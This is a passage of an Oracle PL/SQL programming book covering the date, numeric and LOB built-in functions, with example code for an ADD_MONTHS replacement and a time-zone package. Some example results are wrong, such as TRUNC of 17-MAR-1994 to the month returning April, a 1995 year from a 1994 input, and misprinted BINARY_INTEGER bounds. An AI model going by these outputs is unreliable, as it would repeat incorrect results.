    TO_CHAR (ROUND (TO_DATE ('01-MAR-1945'), 'CC'), 'DD-MON-YYYY')
==> 01-JAN-1900

  • Round down and up to the first of the year:

    ROUND (TO_DATE ('01-MAR-1994'), 'YYYY') ==> 01-JAN-1994
ROUND (TO_DATE ('01-SEP-1994'), 'YEAR') ==> 01-JAN-1995

  • Round up and down to the quarter (first date in the quarter):

    ROUND (TO_DATE ('01-MAR-1994'), 'Q') ==> 01-APR-1994
ROUND (TO_DATE ('15-APR-1994'), 'Q') ==> 01-APR-1994

  • Round down and up to the first of the month:

    ROUND (TO_DATE ('12-MAR-1994'), 'MONTH') ==> 01-MAR-1994
ROUND (TO_DATE ('17-MAR-1994'), 'MM') ==> 01-APR-1994

  • Day of first of year is Saturday:

    TO_CHAR (TO_DATE ('01-JAN-1994'), 'DAY') ==> 'SATURDAY'

    So round to date of nearest Saturday for `01-MAR-1994':

    ROUND (TO_DATE ('01-MAR-1994'), 'WW') ==> 26-FEB-1994

  • First day in the month is a Friday:

    TO_CHAR (TO_DATE ('01-APR-1994'), 'DAY') ==> FRIDAY

    So round to date of nearest Friday from April 16, 1994:

    TO_CHAR ('16-APR-1994'), 'DAY') ==> SATURDAY
ROUND (TO_DATE ('16-APR-1994'), 'W') ==> 15-APR-1994
TO_CHAR (ROUND (TO_DATE ('16-APR-1994'), 'W'), 'DAY') ==> FRIDAY

In the rest of the examples I use TO_DATE in order to pass a time component to the ROUND function, and TO_CHAR to display the new time.

  • Round back to nearest day (time always midnight):

    TO_CHAR (ROUND (TO_DATE ('11-SEP-1994 10:00 AM',
                      'DD-MON-YY HH:MI AM'), 'DD'),
         'DD-MON-YY HH:MI AM')
==> 11-SEP-1994 12:00 AM

  • Round forward to the nearest day:

    TO_CHAR (ROUND (TO_DATE ('11-SEP-1994 4:00 PM',
                      'DD-MON-YY HH:MI AM'), 'DD'),
         'DD-MON-YY HH:MI AM')
==> 12-SEP-1994 12:00 AM

  • Round back to the nearest hour:

    TO_CHAR (ROUND (TO_DATE ('11-SEP-1994 4:17 PM',
                      'DD-MON-YY HH:MI AM'), 'HH'),
         'DD-MON-YY HH:MI AM')
==> 11-SEP-1994 04:00 PM

12.1.7 The SYSDATE function

The SYSDATE function returns the current system date and time as recorded in the database. The time component of SYSDATE provides the current time to the nearest second. It takes no arguments. The specification for SYSDATE is:

FUNCTION SYSDATE RETURN DATE

SYSDATE is a function without parameters; as a result, it looks like a system-level variable and programmers tend to use it as if it is a variable. For example, to assign the current date and time to a local PL/SQL variable, you would enter the following:

my_date := SYSDATE;

However, SYSDATE is not a variable. When you use SYSDATE, you are calling a function, which executes underlying code.

NOTE: In Oracle Version 6 and the earliest releases of the Oracle Server, when you called SYSDATE, PL/SQL issued an implicit cursor to the database to get the current date and time, as follows:

SELECT SYSDATE FROM dual;

Because this is no longer the case, you do not need to be as concerned about extra calls to SYSDATE as you would have in earlier releases.

12.1.8 The TRUNC function

The TRUNC function truncates date values according to the specified format mask. The specification for TRUNC is:

FUNCTION TRUNC (date_in IN DATE [, format_mask VARCHAR2]) RETURN DATE

The TRUNC date function is similar to the numeric FLOOR function discussed in Chapter 13, Numeric, LOB, and Miscellaneous Functions. Generally speaking, it rounds down to the beginning of the minute, hour, day, month, quarter, year, or century, as specified by the format mask.

TRUNC offers the easiest way to retrieve the first day of the month or first day of the year. It is also useful when you want to ignore the time component of dates. This is often the case when you perform comparisons with dates, such as the following:

IF request_date BETWEEN start_date AND end_date
THEN
   ...

The date component of date_entered and start_date might be the same, but if your application does not specify a time component for each of its dates, the comparison might fail. If, for example, the user enters a request_date and the screen does not include a time component, the time for request_date will be midnight or 12:00 A.M. of that day. If start_date was set from SYSDATE, however, its time component will reflect the time at which the assignment was made. Because 12:00 A.M. comes before any other time of the day, a comparison that looks to the naked eye like a match might well fail.

If you are not sure about the time components of your date fields and variables and want to make sure that your operations on dates disregard the time component, TRUNCate them:

IF TRUNC (request_date) BETWEEN TRUNC (start_date) AND TRUNC (end_date)
THEN
   ...

TRUNC levels the playing field with regard to the time component: all dates now have the same time of midnight (12:00 A.M.). The time will never be a reason for a comparison to fail.

Here are some examples of TRUNC for dates (all assuming a default date format mask of DD-MON-YYYY):

  • Without a format mask, TRUNC sets the time to 12:00 A.M. of the same day:

    TO_CHAR (TRUNC (TO_DATE ('11-SEP-1994 9:36 AM', 'DD-MON-YYYY HH:MI AM'))
==> 11-SEP-1994 12:00 AM

  • Trunc to the beginning of the century in all cases:

    TO_CHAR (TRUNC (TO_DATE ('01-MAR-1994'), 'CC'), 'DD-MON-YYYY')
==> 01-JAN-1900

TO_CHAR (TRUNC (TO_DATE ('01-MAR-1945'), 'CC'), 'DD-MON-YYYY')
==> 01-JAN-1900

  • Trunc to the first of the current year:

    TRUNC (TO_DATE ('01-MAR-1994'), 'YYYY') ==> 01-JAN-1994
TRUNC (TO_DATE ('01-SEP-1994'), 'YEAR') ==> 01-JAN-1994

  • Trunc to the first day of the quarter:

    TRUNC (TO_DATE ('01-MAR-1994'), 'Q') ==> 01-JAN-1994
TRUNC (TO_DATE ('15-APR-1994'), 'Q') ==> 01-APR-1994

  • Trunc to the first of the month:

    TRUNC (TO_DATE ('12-MAR-1994'), 'MONTH') ==> 01-MAR-1994
TRUNC (TO_DATE ('17-MAR-1994'), 'MM') ==> 01-APR-1994

In the rest of the examples I use TO_DATE to pass a time component to the TRUNC function, and TO_CHAR to display the new time:

  • Trunc back to the beginning of the current day (time is always midnight):

    TO_CHAR (TRUNC (TO_DATE ('11-SEP-1994 10:00 AM',
                      'DD-MON-YYYY HH:MI AM'), 'DD'),
         'DD-MON-YYYY HH:MI AM')
==> 11-SEP-1994 12:00 AM

TO_CHAR (TRUNC (TO_DATE ('11-SEP-1994 4:00 PM',
                      'DD-MON-YYYY HH:MI AM'), 'DD'),
         'DD-MON-YYYY HH:MI AM')
==> 11-SEP-1994 12:00 AM

  • Trunc to the beginning of the current hour:

    TO_CHAR (TRUNC (TO_DATE ('11-SEP-1994 4:17 PM',
                      'DD-MON-YYYY HH:MI AM'), 'HH'),
       'DD-MON-YYYY HH:MI AM')
==> 11-SEP-1994 04:00 PM

Previous: 11.2 Character Function Examples | Oracle PL/SQL Programming, 2nd Edition | Next: 12.2 Date Function Examples
11.2 Character Function Examples | Book Index | 12.2 Date Function Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.2 Date Function Examples

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

12.2 Date Function Examples

This section contains more detailed examples of some of the functions summarized in this chapter.

12.2.1 Customizing the Behavior of ADD_MONTHS

As noted earlier, if you pass a day to ADD_MONTHS which is the last day in the month, PL/SQL always returns the last day in the resulting month, regardless of the number of actual days in each of the months. While this may work perfectly well for many, if not most, Oracle installations, I have encountered at least one company in the insurance industry that definitely cannot use ADD_MONTHS the way it works by default. At this site, if I am on the 28th day of February and shift forward a month, I need to land on the 28th of March -- not the 31st of March. What's a programmer to do?

The best solution is to write your own version of ADD_MONTHS that performs the way you want it to, and then use it in place of ADD_MONTHS. The following example shows a new_add_months function. It always lands you on the same day in the month, unless the original day does not exist in the new month, in which case the day is set to the last day in the new month.

This code uses the LAST_DAY function to see if the original date falls on the last day of that month:

/* Filename on companion disk: addmths.sf */
CREATE OR REPLACE FUNCTION new_add_months (date_in IN DATE, months_shift IN
NUMBER)
   RETURN DATE
IS
   /* Return value of function */
   return_value DATE;

   /* The day in the month */
   day_of_month VARCHAR2(2);

   /* The month and year for the return value */
   month_year VARCHAR2(6);

   /* The calculated end of month date */
   end_of_month DATE;
BEGIN
   return_value := ADD_MONTHS (date_in, months_shift);

   /* Is original date the last day of its month? */
   IF date_in = LAST_DAY (date_in)
   THEN
      /* Pull out the day number of the original date */
      day_of_month := TO_CHAR (date_in, 'DD');

      /* Grab the month and year of the new date */
      month_year := TO_CHAR (return_value, 'MMYYYY');

      /* Combine these components into an actual date */
      BEGIN
         end_of_month := TO_DATE (month_year || day_of_month, 'MMYYYYDD');
         /*
         || Return the earliest of (a) the normal result of ADD_MONTHS
         || and (b) the same day in the new month as in the original month.
         */
         return_value := LEAST (return_value, end_of_month);
      EXCEPTION
         WHEN OTHERS THEN NULL;
      END;
   END IF;

   /* Return the shifted date */
   RETURN return_value;
END new_add_months;

Take a look at the difference between ADD_MONTHS and new_add_months:

ADD_MONTHS ('31-JAN-1995', 1) ==> 28-FEB-1995
new_add_months ('31-JAN-1995', 1) ==> 28-FEB-1995

ADD_MONTHS ('28-FEB-1994', 2) ==> 30-APR-1994
new_add_months ('28-FEB-1994', 2) ==> 28-APR-1995

The above function can be used in a PL/SQL program like the following:

IF new_add_months (order_date, 3) > SYSDATE
THEN
   ship_order;
END IF;

If you want new_add_months to also accept the two arguments in either date-number or number-date order, you need to place the function inside a package and then overload the function definition, as shown below; see Chapter 16, Packages, for more information on constructing packages and overloading module definitions.

PACKAGE date_pkg
IS
   FUNCTION new_add_months (date_in IN DATE, months_shift IN NUMBER)
      RETURN DATE;

   FUNCTION new_add_months (months_shift IN NUMBER, date_in IN DATE)
      RETURN DATE;
END;

If you are using PL/SQL Release 2.1 or beyond, you can use this substitute for ADD_MONTHS in your SQL DML statements, as well as your PL/SQL programs:

SELECT new_add_months (SYSDATE, 3) FROM dual;

A final observation: the unexpected behavior of ADD_MONTHS for the last day in a month demonstrates once again that it is always a good idea to test both your programs and the programs of others at their limits. Don't assume that a program will work in any particular fashion until you test it. In this case, if the program shifts dates by months, then be sure to test for the end and beginning of months.

12.2.2 Using NEW_TIME in Client-Server Environments

One issue to keep in mind with SYSDATE is that it will always reflect the date and time on the server and not on the individual client workstation or computer (unless, of course, your workstation is also the server). This may not be an issue when all machines are located in the same general vicinity, but when you have a server in New York and a client in Iowa, the times will definitely not match up. This is a more difficult problem to resolve.

You can use the NEW_TIME date function to convert the date and time returned by SYSDATE to the actual date and time in the client's location. To do this you need to know the time zones in each of these locations. The best way to be sure the time zones are available is to store them in a configuration table; the zones may then be read into some kind of global variables when an application is initiated. In PL/SQL, you would do this with package variables.

Note that this example relies heavily on the package structure, which is explained in Chapter 16.

In the following examples, I will store the client and server time zone values directly in PL/SQL variables and provide a way to change them if necessary. I will then build a function called system_date, which replaces the SYSDATE function. The objectives of this function are twofold:

  1. Keep to a minimum the number of times that SYSDATE is called.

  2. Adjust the time automatically to account for time zone changes.

The tz package shown below provides a set of procedures and functions to manage both the system date and the client and server time zones. Users of the package can access the package data only through the functions (retrieval) and the procedures (change values). The main module in the package is system_date; its specification follows:

FUNCTION system_date
   (refresh_in IN VARCHAR2 := 'NOREFRESH',
    server_time_zone IN VARCHAR2 := server,
    client_time_zone IN VARCHAR2 := client)
RETURN DATE;

This package-based version of SYSDATE takes up to three parameters:

refresh_in

If you need the current time or want to update the global current date value, then you really do want SYSDATE to be called again. If you refresh, then SYSDATE is used to update the package globals.

server_time_zone

The time zone of the server; the default is the packaged value.

client_time_zone

The time zone of the client; the default is the packaged value.

The tz package relies on the following global variables inside the package to keep track of the current date/time and the default client and server time zones:

system_date_global DATE := SYSDATE;
client_tz   VARCHAR2(3) := 'AST';
server_tz   VARCHAR2(3) := 'PST';

The very first time the system_date function is called, the package will be loaded into memory and these variables assigned their default values. I can now call system_date using both of the default configuration time zones -- and I will not get a new time computed each time I do so:

IF tz.system_date
   BETWEEN '15-JAN-1994' AND '22-JAN-1994'
THEN
   ...
END IF;

Or I can override the default time zones with Greenwich Mean and Newfoundland Standard times, also requesting a refresh of the time:

current_date :=
   tz.system_date ('REFRESH', 'GMT', 'NST');

If you do not want to have to specify the package name, tz, in front of the system_date function name, you can create a standalone stored procedure of the same name which, in effect, hides the package ownership:

FUNCTION system_date
   (refresh_in IN VARCHAR2 := 'NOREFRESH',
    server_time_zone VARCHAR2 := tz.server,
    client_time_zone VARCHAR2 := tz.client)
   RETURN DATE
IS
BEGIN
   RETURN tz.system_date
      (refresh_in, server_time_zone, client_time_zone);
END;

The following sections contain the code for the specification and body of the tz package.

12.2.2.1 The time zone package specification

/* Filename on companion disk:tz.spp */
PACKAGE tz
IS
   /* Return the client timezone */
   FUNCTION client RETURN VARCHAR2;

   /* Return the server timezone */
   FUNCTION server RETURN VARCHAR2;
   /*
   || Retrieve system date. Can ask to refresh the value
   || from the database and also over-ride the default
   || time zones, just as you would with NEW_TIME.
   */
   FUNCTION system_date
      (refresh_in IN VARCHAR2 := 'NOREFRESH',
       server_time_zone IN VARCHAR2 := server,
       client_time_zone IN VARCHAR2 := client)
      RETURN DATE;

   /* Change the client timezone */
   PROCEDURE set_client (tz_in IN VARCHAR2);

   /* Change the server timezone */
   PROCEDURE set_server (tz_in IN VARCHAR2);
END tz;

12.2.2.2 The time zone package body

/* Filename on companion disk: tz.spp */
PACKAGE BODY tz
IS
   /* The actual "global" variables stored in the package */
   system_date_global DATE := SYSDATE;
   client_tz VARCHAR2(3) := 'AST';
   server_tz VARCHAR2(3) := 'PST';

   FUNCTION client RETURN VARCHAR2
   IS
   BEGIN
      RETURN client_tz;
   END;

   FUNCTION server RETURN VARCHAR2
   IS
   BEGIN
      RETURN server_tz;
   END;

   FUNCTION system_date
      (refresh_in IN VARCHAR2 := 'NOREFRESH',
       server_time_zone IN VARCHAR2 := tz.server,
       client_time_zone IN VARCHAR2 := tz.client)
      RETURN DATE
   IS
   BEGIN
      /* Update the system date global if requested */
      IF UPPER (refresh_in) = 'REFRESH'
      THEN
         tz.system_date_global := SYSDATE;
      END IF;

      /* Use NEW_TIME to shift the date/time */
      RETURN NEW_TIME (system_date_global,
                       server_time_zone,
                       client_time_zone);
   END;

   PROCEDURE set_client (tz_in IN VARCHAR2)
   IS
   BEGIN
      assert (valid_time_zone (tz_in ));
      client_tz := tz_in;
   END;

   PROCEDURE set_server (tz_in IN VARCHAR2)
   IS
   BEGIN
      assert (valid_time_zone (tz_in ));
      server_tz := tz_in;
   END;

   PROCEDURE assert( condition_in IN BOOLEAN )
   IS
   BEGIN
      IF NOT condition_in THEN
         RAISE VALUE_ERROR;
      END IF;
   END;

   FUNCTION valid_time_zone( time_zone_in IN VARCHAR2 )
      RETURN BOOLEAN
   IS
      validation_tz VARCHAR2(3) := 'EST'; -- a valid time zone
      validation_date DATE;
      invalid_time_zone EXCEPTION;
      PRAGMA EXCEPTION_INIT(invalid_time_zone, -1857);
   BEGIN
      validation_date :=
         NEW_TIME( SYSDATE, time_zone_in, validation_tz );
      RETURN TRUE;
   EXCEPTION
      WHEN invalid_time_zone
      THEN
         RETURN FALSE;
   END;
END tz;

Previous: 12.1 Date Function Descriptions | Oracle PL/SQL Programming, 2nd Edition | Next: 13. Numeric, LOB, and Miscellaneous Functions
12.1 Date Function Descriptions | Book Index | 13. Numeric, LOB, and Miscellaneous Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] Numeric, LOB, and Miscellaneous Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 12.2 Date Function Examples Chapter 13 Next: 13.2 LOB Function Descriptions

13. Numeric, LOB, and Miscellaneous Functions

Contents:
Numeric Function Descriptions
LOB Function Descriptions
Miscellaneous Function Descriptions

This chapter describes three sets of PL/SQL functions: the functions that manipulate numbers; the functions used to initialize large object (LOB) values; and a variety of miscellaneous functions which you will find useful. These sets of functions are listed in Tables Table 13.1 through Table 13.3.

Table 13.1: The Built-in Numeric Functions
Name | Description
ABS | Returns the absolute value of the number.
ACOS | Returns the inverse cosine.
ASIN | Returns the inverse sine.
ATAN | Returns the inverse tangent.
ATAN2 | Returns the result of the tan2 inverse trigonometric function.
CEIL | Returns the smallest integer greater than or equal to the specified number.
COS | Returns the cosine.
COSH | Returns the hyperbolic cosine.
EXP (n) | Returns e raised to the nth power, where e = 2.71828183...
FLOOR | Returns the largest integer equal to or less than the specified number.
LN (a) | Returns the natural logarithm of a.
LOG (a, b) | Returns the logarithm, base a, of b.
MOD (a, b) | Returns the remainder of a divided by b.
POWER (a, b) | Returns a raised to the bth power.
ROUND (a, [b]) | Returns a rounded to b decimal places.
SIGN (a) | Returns 1 if a is positive, if a is 0, and -1 if a is less than 0.
SIN | Returns the sine.
SINH | Returns the hyperbolic sine.
SQRT | Returns the square root of the number.
TAN | Returns the tangent.
TANH | Returns the hyperbolic tangent.
TRUNC (a, [b]) | Returns a truncated to b decimal places.

Note that the trigonometric and logarithmic functions are available only in PL/SQL Version 2.0 and subsequent releases. The inverse trigonometric functions are available only in PL/SQL Release 2.3. In these functions, all results are expressed in radians. Oracle Corporation did not implement pi itself, but it can be obtained through the following call:

ACOS (-1)

Table 13.2: The Built-in LOB Functions
Name | Description
BFILENAME | Initializes a BFILE column in an INSERT statement by associating it with a file in the server's filesystem.
EMPTY_BLOB | Returns an empty locator of type BLOB (binary large object).
EMPTY_CLOB | Returns an empty locator of type CLOB (character large object).

Note that the DBMS_LOB built-in package (See Appendix C, Built-In Packages) contains many more functions and procedures for manipulating LOB data.

Table 13.3: The Built-in MiscellaneousFunctions
Name | Description
DUMP | Returns a string containing a "dump" of the specified expression. This dump includes the datatype, length in bytes, and internal representation.
GREATEST | Returns the greatest of the specified list of values.
LEAST | Returns the least of the specified list of values.
NVL | Returns a substitution value if the argument is NULL.
SQLCODE | Returns the number of the Oracle error for the most recent internal exception.
SQLERRM | Returns the error message associated with the error number returned by SQLCODE.
UID | Returns the User ID (a unique integer) of the current Oracle session.
USER | Returns the name of the current Oracle user.
USERENV | Returns a string containing information about the current session.
VSIZE | Returns the number of bytes in the internal representation of the specified value.

13.1 Numeric Function Descriptions

The following sections briefly describe each of the PL/SQL numeric functions.

13.1.1 The ABS function

The ABS function returns the absolute value of the input. The specification for the ABS function is:

FUNCTION ABS (n NUMBER) RETURN NUMBER;

The ABS function can help simplify your code logic. Here's an example:

In one program I reviewed, line items and amounts for a profit and loss statement were footed or balanced. If the variance on the line amount was greater than $100, either positive or negative, that line item was flagged as "in error." The first version of the code that implemented this requirement looked like this (variance_table is a PL/SQL table holding the variance for each line item):

IF variance_table (line_item_nu) BETWEEN 1 AND 100 OR
   variance_table (line_item_nu) BETWEEN -100 AND -1
THEN
   apply_variance (statement_id);
ELSE
   flag_error (statement_id, line_item_nu);
END IF;

There are two ways to express this logic. First, do not hardcode the maximum allowable variance; put the value in a named constant. Second, use ABS so that you perform the range check only once. With these changes, the above code can be rewritten as follows:

IF ABS (variance_table (line_item_nu))
   BETWEEN min_variance AND max_variance
THEN
   apply_variance (statement_id);
ELSE
   flag_error (statement_id, line_item_nu);
END IF;

13.1.2 The ACOS function

The ACOS function returns the inverse cosine. The specification for the ACOS function is:

FUNCTION ACOS (n NUMBER) RETURN NUMBER;

where the number n must be between -1 and 1, and the value returned by ACOS is between 0 and pi.

13.1.3 The ASIN function

The ASIN function returns the inverse sine. The specification for the ASIN function is:

FUNCTION ASIN (n NUMBER) RETURN NUMBER;

where the number n must be between -1 and 1, and the value returned by ASIN is between -pi/2 and pi/2.

13.1.4 The ATAN function

The ATAN function returns the inverse tangent. The specification for the ATAN function is:

FUNCTION ATAN (n NUMBER) RETURN NUMBER;

where the number n must be between -infinity and infinity, and the value returned by ATAN is between -pi/2 and pi/2.

13.1.5 The ATAN2 function

The ATAN2 function returns the result of the tan2 inverse trigonometric function. The specification for the ATAN2 function is:

FUNCTION ATAN (n NUMBER, m NUMBER) RETURN NUMBER;

where the numbers n and m must be between -infinity and infinity, and the value returned by ATAN is between -pi and pi.

As a result, the following holds true:

  • atan2(-0.00001, -1) is approximately -pi.

  • atan2(0,-1) is pi.

13.1.6 The CEIL function

The CEIL ("ceiling") function returns the smallest integer greater than or equal to the specified number. The specification for the CEIL function is:

FUNCTION CEIL (n NUMBER) RETURN NUMBER;

Here are some examples of the effect of CEIL:

CEIL (6) ==> 6
CEIL (119.1) ==> 120
CEIL (-17.2) ==> -17

I have found CEIL useful in calculating loop indexes for date ranges. Suppose that I need to calculate the net profit for sales activity in each month between two dates, and to store each value in a PL/SQL table. I don't really care where in the month the endpoints of the date range fall; I simply want to start from that month and loop through each month in between to the last month.

I could use a WHILE loop which increments a date variable until it is past the end date. That code would look like this:

PROCEDURE fill_profit_table (start_date_in IN DATE, end_date_in IN DATE)
IS
   /* Need local variables for loop condition and row in table. */
   curr_date DATE;
   month_index BINARY_INTEGER;
BEGIN
   /* Use TRUNC to always compare against first days of month. */
   curr_date := TRUNC (start_date_in, 'MONTH');
   month_index := 1;

   /* Loop until date exceeds  */
   WHILE curr_date <= TRUNC (end_date_in, 'MONTH')
   LOOP
      profit (month_index) := calc_profits (curr_date, 'NET');
      month_index := month_index + 1;
      curr_date := ADD_MONTHS (curr_date, 1);
   END LOOP;
END;

That works fine, but with CEIL I can produce a much simpler and cleaner implementation, as shown in the following code. I use both CEIL and MONTHS_BETWEEN to compute the number of months over which I need to calculate net profit. This number of months then bexcomes the upper limit of a fixed, numeric FOR loop. For each iteration of that loop, I call the calc_profits function and stuff the return value into the table:

PROCEDURE fill_profit_table (start_date_in IN DATE, end_date_in IN DATE)
IS
   number_of_months INTEGER :=
      CEIL (MONTHS_BETWEEN (end_date_in, start_date_in-1));
BEGIN
   FOR month_index IN 1 .. number_of_months
   LOOP
      profit (month_index) :=
         calc_profits (ADD_MONTHS (start_date_in, month_index - 1), 'NET');
   END LOOP;
END;

Notice that I subtract a day from the start_date_in in my computation of the number of months. I have to do this because if both the start_date_in and the end_date_in fall on the last days of their months, MONTHS_BETWEEN is one less than I need. In other words, if start_date_in = 28-FEB-97 and end_date is 31-MAR-97, MONTHS_BETWEEN (end_date_in, start_date_in) returns 1. For the purposes of this program, however, I need to generate profits for two months.

For a comparison of CEIL with several other numeric functions, see Section 13.1.23, "Rounding and Truncation with PL/SQL" later in this chapter.

13.1.7 The COS function

The COS trigonometric function returns the cosine of the specified angle. The specification for the COS function is:

FUNCTION COS (angle NUMBER) RETURN NUMBER;

where angle must be expressed in radians. A radian is equal to 180/pi or roughly 57.29578. If your angle is specified in degrees, then you should call COS as follows:

my_cosine := COS (angle_in_degrees/57.29578);

13.1.8 The COSH function

The COSH trigonometric function returns the hyperbolic cosine of the specified number. The specification for the COSH function is:

FUNCTION COSH (n NUMBER) RETURN NUMBER;

If n is a real number and i = √-1 (the imaginary square root of -1), then the relationship between COS and COSH can be expressed as follows:

COS (i * n) = COSH (h)

13.1.9 The EXP function

The EXP function returns the value e raised to the nth power, where n is the input argument. The specification for the EXP function is:

FUNCTION EXP (n NUMBER) RETURN NUMBER;

The number e (approximately equal to 2.71828) is the base of the system of natural logarithms.

13.1.10 The FLOOR function

The FLOOR function, the opposite of the CEIL function, returns the largest integer that is less than or equal to the input number. The specification for the FLOOR function is:

FUNCTION FLOOR (n NUMBER) RETURN NUMBER;

Here are some examples of the values returned by FLOOR:

FLOOR (6.2) ==> 6
FLOOR (-89.4) ==> -90

For a comparison of FLOOR with several other numeric functions, see Section 13.1.23 later in this chapter.

13.1.11 The LN function

The LN function returns the natural logarithm of the input. The specification for the LN function is:

FUNCTION LN (n NUMBER) RETURN NUMBER;

The argument n must be greater than or equal to 0. If you pass LN a negative argument, you will receive the following error:

ORA-01428: argument '-1' is out of range

13.1.12 The LOG function

The LOG function returns the base-b logarithm of the input value. The specification for the LOG function is:

FUNCTION LOG (b NUMBER, n NUMBER) RETURN NUMBER;

The argument n must be greater than or equal to 0. The base b must be greater than 1. If you pass LOG an argument that violates either of these rules, you will receive the following error:

ORA-01428: argument '-1' is out of range

13.1.13 The MOD function

The MOD function returns the remainder of one number when divided by a second number. The specification for the MOD function is:

FUNCTION MOD (dividend NUMBER, divisor NUMBER) RETURN NUMBER;

If the divisor is zero, then the dividend is returned unchanged. Here are some examples of MOD:

MOD (10, 5) ==> 0
MOD (2, 1) ==> 0
MOD (3,2) == 1

You can use MOD to determine quickly if a number is odd or even:

FUNCTION is_odd (num_in IN NUMBER) RETURN BOOLEAN
IS
BEGIN
   RETURN MOD (num_in, 2) = 1;
END;

FUNCTION is_even (num_in IN NUMBER) RETURN BOOLEAN
IS
BEGIN
   RETURN MOD (num_in, 2) = 0;
END;

13.1.14 The POWER function

The POWER function raises the first argument to the power indicated by the second argument. The specification for the POWER function is:

FUNCTION POWER (base NUMBER, power NUMBER) RETURN NUMBER;

If base is negative, then power must be an integer. The following expression calculates the range of valid values for a BINARY_INTEGER variable (-231-1 through 231-1):

POWER (-2, 31) - 1 .. POWER (2, 31) - 1

or:

-2147483637 .. 2147483637

13.1.15 The ROUND function

The ROUND function returns the first argument rounded to the number of decimal places specified in the second argument. The specification for the ROUND function is:

FUNCTION ROUND (n NUMBER, [decimal_places NUMBER]) RETURN NUMBER;

The decimal_places argument is optional and defaults to 0, which means that n will be rounded to zero decimal places, a whole number. The value of decimal_places can be less than zero. A negative value for this argument directs ROUND to round digits to the left of the decimal point, rather than to the right. Here are some examples:

ROUND (153.46) ==> 153
ROUND (153.46, 1) ==> 153.5
ROUND (153, -1) ==> 150

For a comparison of ROUND with several other numeric functions, see Section 13.1.23 later in this chapter.

13.1.16 The SIGN function

The SIGN function returns the sign of the input number. The specification for the SIGN function is:

FUNCTION SIGN (n NUMBER) RETURN NUMBER;

This function returns one of the three values shown below:

-1

n is less than zero

0

n is equal to zero

+1

n is greater than zero

13.1.17 The SIN function

The SIN trigonometric function returns the sine of the specified angle. The specification for the SIN function is:

FUNCTION SIN (angle NUMBER) RETURN NUMBER;

where angle must be expressed in radians. A radian is equal to 180/pi or roughly 57.29578. If your angle is specified in degrees, then you should call SIN as follows:

my_sine := SIN (angle_in_degrees/57.29578);

13.1.18 The SINH function

The SINH trigonometric function returns the hyperbolic sine of the specified number. The specification for the SINH function is:

FUNCTION SINH (n NUMBER) RETURN NUMBER;

If n is a real number and i = √-1 (the imaginary square root of -1), then the relationship between SIN and SINH can be expressed as follows:

SIN (i * n) = i * SINH (h)

13.1.19 The SQRT function

The SQRT function returns the square root of the input number. The specification for the SQRT function is:

FUNCTION SQRT (n NUMBER) RETURN NUMBER;

where n must be greater than or equal to 0. If n is negative, you will receive the following error:

ORA-01428: argument '-1' is out of range

13.1.20 The TAN function

The TAN trigonometric function returns the tangent of the specified angle. The specification for the TAN function is:

FUNCTION TAN (angle NUMBER) RETURN NUMBER;

where angle must be expressed in radians. A radian is equal to 180/pi or roughly 57.29578. If your angle is specified in degrees, then you should call TAN as follows:

my_tane := TAN (angle_in_degrees/57.29578);

13.1.21 The TANH function

The TANH trigonometric function returns the hyperbolic tangent of the specified number. The specification for the TANH function is:

FUNCTION TANH (n NUMBER) RETURN NUMBER;

If n is a real number and i = √-1 (the imaginary square root of -1), then the relationship between TAN and TANH can be expressed as follows:

TAN (i * n) = i * TANH (h)

13.1.22 The TRUNC function

The TRUNC function truncates the first argument to the number of decimal places specified by the second argument. The specification for the TRUNC function is:

FUNCTION TRUNC (n NUMBER, [decimal_places NUMBER]) RETURN NUMBER;

The decimal_places argument is optional and defaults to 0, which means that n will be truncated to zero decimal places, a whole number. The value of decimal_places can be less than zero. A negative value for this argument directs TRUNC to truncate or zero-out digits to the left of the decimal point, rather than to the right. Here are some examples:

TRUNC (153.46) ==> 153
TRUNC (153.46, 1) ==> 153.4
TRUNC (-2003.16, -1) ==> -2000

13.1.23 Rounding and Truncation with PL/SQL

There are four different numeric functions that perform rounding and truncation actions: CEIL, FLOOR, ROUND, and TRUNC. It is easy to get confused about which of the functions to use in a particular situation. The following table compares functions. Figure 13.1 illustrates the use of the functions for different values and decimal place rounding.

Function | Summary
CEIL | Returns the smallest integer that is greater than the specified value. This integer is the "ceiling" over your value.
FLOOR | Returns the largest integer that is less than the specified value. This integer is the "floor" under your value.
ROUND | Performs rounding on a number. You can round with a positive number of decimal places (the number of digits to the right of the decimal point) and also with a negative number of decimal places (the number of digits to the right of the decimal point).
TRUNC | Truncates a number to the specified number of decimal places. TRUNC simply discards all values beyond the decimal places provided in the call.

Figure 13.1: Impact of rounding and truncating functions

Previous: 12.2 Date Function Examples | Oracle PL/SQL Programming, 2nd Edition | Next: 13.2 LOB Function Descriptions
12.2 Date Function Examples | Book Index | 13.2 LOB Function Descriptions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.2 LOB Function Descriptions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

13.2 LOB Function Descriptions

PL/SQL provides three functions to use within SQL DML statements to initialize a large object (LOB) locator.

13.2.1 The BFILENAME function

The BFILENAME function initializes a BFILE column in a database table or a BFILE variable in PL/SQL by returning a locator to a physical file in the server's filesystem. The header for BFILENAME is:

FUNCTION BFILENAME
   (directory_alias IN VARCHAR2, filename IN VARCHAR2
RETURN BFILE;

where directory_alias is a DIRECTORY database object which has already been defined with a CREATE DIRECTORY statement (see the following examples), and filename is the name of the file containing the large binary object.

This function will return NULL if you try to get a BFILE locator with a directory alias which does not yet exist.

